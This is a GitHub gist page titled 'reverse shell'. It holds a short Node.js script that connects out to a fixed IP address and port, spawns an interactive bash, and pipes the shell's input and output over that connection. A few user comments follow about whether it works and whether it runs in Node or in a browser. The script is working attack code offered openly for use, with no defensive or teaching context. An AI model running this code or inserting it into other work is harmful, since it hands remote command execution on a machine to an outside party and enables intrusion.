Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
reverse shell
var spawn = require('child_process').spawn;
var net = require('net');
var reconnect = require('reconnect');
reconnect(function (stream) {
var ps = spawn('bash', [ '-i' ]);
stream.pipe(ps.stdin);
ps.stdout.pipe(stream, { end: false });
ps.stderr.pipe(stream, { end: false });
ps.on('exit', function () { stream.end() });
}).connect(5500, '192.168.60.124');
@BradleyHarper

This comment has been minimized.

Copy link

@BradleyHarper BradleyHarper commented Jun 24, 2020

it's not working for me!

Could you provide any errors outputted in the console?

@ghost

This comment has been minimized.

Copy link

@ghost ghost commented Mar 27, 2021

If that work I Explain for everyone 👻

@0MR4N

This comment has been minimized.

Copy link

@0MR4N 0MR4N commented Apr 14, 2021

i think this will work in node js not in browser console.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment